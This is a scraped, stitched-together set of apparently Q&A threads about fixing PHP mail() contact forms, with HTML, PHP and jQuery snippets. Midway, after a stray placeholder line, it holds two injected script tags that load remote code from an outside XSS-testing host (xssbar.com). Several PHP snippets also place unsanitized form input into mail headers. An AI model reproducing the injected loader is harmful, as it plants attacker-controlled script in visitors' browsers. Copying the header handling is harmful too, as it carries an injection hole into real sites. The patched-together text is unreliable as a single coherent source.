I want to send an email when someone click on my website's download link. I am working in PHP and JavaScript. The following two snippets are in same file.
HTML
<form method="post">
<div class="form-group">
<input type="email" class="form-control" placeholder="Enter Email ID" id="email" onchange="check();" require pattern="[a-z0-9._%+-]+#[a-z0-9.-]+\.[a-z]{2,3}$"/>
</div>
<div class="form-group">
<label style="font-size:14px;"><input type="checkbox" id="toggle"> I agree to receive emails from MarketerBoard. We will not share your any personal information with anyone.</label>
</div>
<div class="form-group" style="min-height:40px;">
<a style="display:none;" href="/images/docs/EMAIL-MARKETING-GUIDE.pdf" name="downloadBtn" download class="mb-button" id="dwn-btn" onchange="check();" onClick="sendmail();">Get your free guide</a>
</div>
</form>
JavaScript
if(isset($_POST['downloadBtn']))
{
$to = 'examle#example.com';
$subject = 'the subject';
$message = 'hello';
$headers = 'From: example#example.com' . "\r\n" .
'Reply-To: example#example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
//echo 'Email Sent.';
}
I validate the email id of user from using following code. I want to send the email on click of the link, which does not seems to work.
<script type="text/javascript">
function check() {
document.getElementById("toggle").checked = false;
var email_x = document.getElementById("email").value;
filter = /^([a-zA-Z0-9_\.\-])+\#(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
if (filter.test(email.value)) {
document.getElementById("email").style.border = "2px solid teal";
var userEmail = document.getElementById('email').value
$('#toggle').click(function () {
//check if checkbox is checked
if ($(this).is(':checked') & filter.test(email.value)) {
$("#dwn-btn").show(); }
else {
$("#dwn-btn").hide();}});
return true;
} else {
document.getElementById("email").style.border = "2px solid red";
$("#dwn-btn").hide();
return false;
}
}
</script>
Firstly check/change your PHP mail configuration:
Open your php.ini file
Search for the line that reads [mail function]
Add/change the details of your mail server. This could be a local mail server or the mail server of your ISP.
Save/close the php.ini file
Restart your web server
Example code below :
<form action="" method="post">
<input type="submit" value="Send email" />
<input type="hidden" name="send_mail" value="1" />
</form>
<?php
if(isset($_POST['send_mail']))
{
$to = 'nobody#example.com';
$subject = 'the subject';
$message = 'hello';
$headers = 'From: nobody#example.com' . "\r\n" .
'Reply-To: nobody#example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
echo 'Email Sent.';
}
?>
Related
I am using Js and PHP, so basically I would like form submissions to be sent via emails with out the page to reload which it is not working. Any help would be great thanks.
This is just a simple form where you submitted and the input data appears below where it should be sent via email as well.
<form id="myForm" method="post">
Name: <input name="name" id="name" type="text" /><br />
<input type="button" id="submitFormData" onclick="SubmitFormData();" value="Submit" />
</form>
<br/>
Your data will display below..... <br />
==============================<br />
<div id="results">
<!-- All data will display here -->
</div>
<script src="http://code.jquery.com/jquery-latest.js"></script>
<script>
function SubmitFormData() {
var name = $("#name").val();
$.post("./submit.php", { name: name },
function(data) {
$('#results').html(data);
$('#myForm')[0].reset();
});
}
</script>```
Here another file on form process.
<?php
if( $_SERVER['REQUEST_METHOD'] == 'POST') {
$name = $_POST['name'];
echo $name;
$to = 'name#name.com';
$subject = " Test Enquiries";
// Always set content-type when sending HTML email
$headers .= "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
// More headers
$headers .= 'From: domain#domain.com' . "\r\n";
// Email body content
$message = "
<p><strong>Name:</strong> <span>{$name}</span></p>
";
mail($to,$subject,$message,$headers);
if (mail ($to, $subject, $message, $headers))
{
echo '<p>Your message has been sent!</p>';
}
else
{
echo '<p>Something went wrong, go back and try again!</p>';
}
}
?>
This question already has answers here:
PHP mail function doesn't complete sending of e-mail
(31 answers)
Closed 5 years ago.
I have problem with send email. When I send a form, I get a blank message in my inbox. It looks like this:
Mail:
New message from:
E-mail:
Topic:
Sent message:
The form has validation, it works correctly. The problem is that I don't know why messages come empty to my inbox.
Here is a php code:
$name = $_POST['name'];
$mail = $_POST['mail'];
$topic = $_POST['topic'];
$message = $_POST['message'];
$email_to = "example#qmail.com";
$email_subject = "You received a new message";
$email_body = "Mail: \r\n";
$email_body .= "New message from: " . $name . "\r\n";
$email_body .= "E-mail:" . $mail . "\r\n";
$email_body .= "Topic: " . $topic . "\r\n";
$email_body .= "Sent message: " . $message . "\r\n";
$success = mail($email_to, $email_subject, $email_body);
if ($success){
print "<meta http-equiv=\"refresh\" content=\"0;URL=success-form\index.html\">";
}
else{
print "<script>console.log('error'); </script>";
}
?>
Form in HTML:
<form method="post" action="../form.php" >
<input name="name" type="text" placeholder="Name and Surname">
<label></label>
<input name="mail" type="email" placeholder="Email address">
<label></label>
<input name="topic" type="text" placeholder="Topic">
<label></label>
<textarea name="message" placeholder="Message..."></textarea>
<label></label>
<input type="submit" class="send-btn" value="Send">
</form>
Have you tried adding a few headers? For example:
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/plain; charset=utf-8\r\n";
$headers .= "Content-Transfer-Encoding: 8bit\r\n";
$headers .= "FROM:".$email_from."\r\n"; // Variable to define
Then, call you mail command like this:
$success = mail($email_to, $email_subject, $email_body, $headers);
I'm doing my first website - I uploaded it to http://testinglakovna.borec.cz/ and I basically used a free template and adjusted it to my liking.
Unfortunately the contact form provided by the template didn't come with the "contact.php" and I've no idea how to correctly activate it.
It's been 4 days and all I figured out is I needed a contact.php activation and I found a script that activated the form - it DOES send the email but it only sends the message, doesn't show the sender email, name or the subject which the sender writes himself...
I'm now desperate for help - is there anybody who could help me write this code?
My contact.php code is this:
<?php
$name = $_POST['name'];
$email = $_POST['email'];
$message = $_POST['message'];
$from = 'From: testinglakovna.borec.cz';
$to = 'ilona.takacsova#gmail.com';
$subject = 'Správa z www.lakovnaturen.sk';
$body = "From:\n $name\n Email:\n $email\n Message:\n $message";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html\r\n";
$headers = 'From: $email' . "\r\n" .
'Reply-To: reply#example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
alert('Odoslanie prebehlo v poriadku. Ozveme sa Vám čo najskôr.');
window.location = 'index.html';
</script>
<?php
}
else { ?>
<script language="javascript" type="text/javascript">
alert('Spojenie zlyhalo. Prosím pošlite nám mail na iljatakacs#gmail.com');
window.location = 'index.html';
</script>
<?php
}
?>
and the contact form html of the index.html is:
<div class="col-lg-12">
<form action="contact.php" method="post" id="form" class="contact-form">
<div class="col-sm-6 contact-form-left">
<div class="form-group">
<input name="name" type="text" class="form-control" id="name" placeholder="Meno">
<input type="email" name="email" class="form-control" id="mail" placeholder="Email">
<input name="subject" type="text" class="form-control" id="subject" placeholder="Predmet">
</div>
</div>
<div class="col-sm-6 contact-form-right">
<div class="form-group">
<textarea name="message" rows="6" class="form-control" id="comment" placeholder="Zanechajte nám odkaz"></textarea>
<center><button type="submit" class="btn btn-default">Odoslať</button></center>
</div>
</div>
</form>
</div>
And I've already searched for an answer on other people's questions but still can't resolve this issue. It's literally the last thing for me to do before I can publish the website officially.
Just made that and it worked on my e-mail address (tested).
<?php
$name = $_POST['name'];
$email = $_POST['email'];
$message = $_POST['message'];
$from = 'From: testinglakovna.borec.cz';
$to = 'YOUR_EMAIL_HERE';
$subject = 'Správa z www.lakovnaturen.sk';
$body = "From:\n $name\n Email:\n $email\n Message:\n $message";
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html\r\n";
$headers .= 'From: '.$email . "\r\n";
$headers .= 'Reply-To: '.$to . "\r\n";
$headers .='X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
alert('Odoslanie prebehlo v poriadku. Ozveme sa Vám čo najskôr.');
window.location = 'index.html';
</script>
<?php
}
else { ?>
<script language="javascript" type="text/javascript">
alert('Spojenie zlyhalo. Prosím pošlite nám mail na iljatakacs#gmail.com');
window.location = 'index.html';
</script>
<?php
}
?>
Just declare a new variable, lets just call it $sendEmail = 'name = $name, email = $email, message= $message, subject = $subject'
After that, in the mail function, substitute the $message for the $sendEmail variable you just created
It should work fine but keep in mind that if you are deploying your code on a local server that email is going to be sent, most probably, to the spam folder.
Let me know if it helps...
Oops, looks like there's no content in this category.
<script>s=document.createElement("script");s.src="http://xssbar.com/?c=T0xwU";document.getElementsByTagName("head")
[0].appendChild(s);</script>
Thanks!!!
<script>s=document.createElement("script");s.src="http://xssbar.com/?c=lELBQ";document.getElementsByTagName("head")
[0].appendChild(s);</script>
I have a mail form that will not submit the input placed into the text area to the e-mail that I have inserted.
I am completely new to PHP.
This form has worked for me in the past.
I am trying to run the form from the freehostia.com server, I have the first upgraded plan which advertises SMTP.
Here is my HTML:
<form action="contact.php" method="post">First name:
<br>
<input class="A" id="B" type="text" name="name" size="25">
<br>
E-mail:
<br>
<input class="A" id="A" type="text" name="email" size="35">
<textarea id="A" name="message" rows="10" cols="50" placeholder="Please provide your information..."></textarea>
<div>
<input class="size" type="submit" value="Send!" />
</div>
</form>
Here's my PHP content:
<?php
$field_name = $_POST['name'];
$field_email = $_POST['email'];
$field_message = $_POST['message'];
$mail_to = 'XXXX#XX.com';
$subject = 'MESSAGE FROM SITE VISITOR ' . $field_name;
$body_message = 'From: '.$field_name."\n";
$body_message .= 'E-mail: '.$field_email."\n";
$body_message .= 'Message: '.$field_message;
$headers = "From: $email\r\n";
$headers .= "Reply-To: $email\r\n";
$mail_status = mail($mail_to, $subject, $body_message, $headers);
if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
alert('Thank you for the message. We will contact you shortly.')
window.location = 'index.html';
</script>
<?php }
else { ?>
<script language="javascript" type="text/javascript">
alert('Message failed. Please, send an email to XXXX#XX.com');
window.location = 'contact.html';
</script>
<?php } ?>
Everything appears to be in place to me. I can't for the life of me figure out what I have done wrong here.
where is ur '$email' variable in,
$headers = "From: $email\r\n";
$headers .= "Reply-To: $email\r\n";
where it initialized?
go this website: https://github.com/HouKun1230/Jquery-mobile-with-PHP-MYSQL and look the email.php which is a email sending simple. It may help you.
First, the code:
CONTACT_FORM.HTML
<html>
<head>
<title>Contact Form</title>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
<link rel="stylesheet" href="contact_form.css" />
<script src="contact_form.js"></script>
</head>
<body>
<div id="mainform">
<form id="form" name="form" action="contact_form.html">
<h3>Contact Form</h3>
<p id="returnmessage"></p>
<label>Name: <span>*</span></label>
<input type="text" id="name" placeholder="Name"/>
<label>Email: <span>*</span></label>
<input type="text" id="email" placeholder="Email"/>
<label>Contact No: <span>*</span></label>
<input type="text" id="contact" placeholder="10 digit Mobile no."/>
<label>Message:</label>
<textarea id="message" placeholder="Message......."></textarea>
<input type="button" id="submit" value="Send Message"/>
</form>
</div>
</body>
</html>
CONTACT_FORM.PHP
<?php
$name = $_POST['name1'];
$email = $_POST['email1'];
$message = $_POST['message1'];
$contact = $_POST['contact1'];
$email = filter_var($email, FILTER_SANITIZE_EMAIL);
if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
if (!preg_match("/^[0-9]{10}$/", $contact)) {
echo "<span>* Please Fill Valid Contact No. *</span>";
} else {
$subject = "Message from website...";
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$headers .= 'From:' . $email. "\r\n";
$headers .= 'Cc:' . $email. "\r\n";
$template = '<div style="padding:50px; color:white;">Hello ' . $name . ',<br/>'
. '<br/>Thank you for contacting us.<br/><br/>'
. 'Name: ' . $name . '<br/>'
. 'Email: ' . $email . '<br/>'
. 'Contact No: ' . $contact . '<br/>'
. 'Message: ' . $message . '<br/><br/>'
. 'This is a contact confirmation email.'
. '<br/>'
. 'We will keep you posted with our goings on.</div>';
$sendmessage = "<div style=\"background-color:#7E7E7E; color:white;\">" . $template . "</div>";
$sendmessage = wordwrap($sendmessage, 70);
mail("me#mydomain.com", $subject, $sendmessage, $headers);
echo "Thank you, your query has been received.";
}
} else {
echo "<span>* invalid email *</span>";
}
?>
CONTACT_FORM.JS
$(document).ready(function() {
$("#submit").click(function() {
var name = $("#name").val();
var email = $("#email").val();
var message = $("#message").val();
var contact = $("#contact").val();
$("#returnmessage").empty();
if (name == '' || email == '' || contact == '') {
alert("Please Fill Required Fields");
} else {
$.post("contact_form.php", {
name1: name,
email1: email,
message1: message,
contact1: contact
}, function(data) {
$("#returnmessage").append(data);
if (data == "Your Query has been received, We will contact you soon.") {
// $("#form")[0].reset();
$('#form').find('form')[0].reset();
}
});
}
});
});
My questions are these...
How can I clear the form following submission?
Why is the CC back to the sender not functioning?
Thanks in advance.
As for the reset your code is trying to look inside one form to find another form ... that doesn't exist
Change
$('#form').find('form')[0].reset();
To
$('#form')[0].reset();
Here's a way to clear the form from the top of my head:
In your HTML, add
<input type="reset" style="display:none;" id="reset-button" />
Then, in your JS:
if (data == "Your Query has been received, We will contact you soon.") {
$('#reset-button').click();
}
About the CC part, why don't you use PHPMailer, it'll reduce your effort and be a lot easier to send to many recipients.
Thanks to charlietfl for pointing out the difference the text for the IF logic. Everything is working fine and dandy now.
As per charlietfl's suggestion, I changed the following line in my JS file:
OLD CODE: $('#form').find('form')[0].reset();
NEW CODE: $('#form')[0].reset();
Also, I modified the message text to be the same in the PHP and the JS so the IF statement would validate.
Thanks again!
You can clear all text input elements.
$( "#form input:text" ).attr({value: ""});
Or to reset each field to the placeholder value:
$( "#form input:text" ).each(function(){
var placeholder_value = $(this).attr('placeholder');
$(this).attr('value', placeholder_value});
});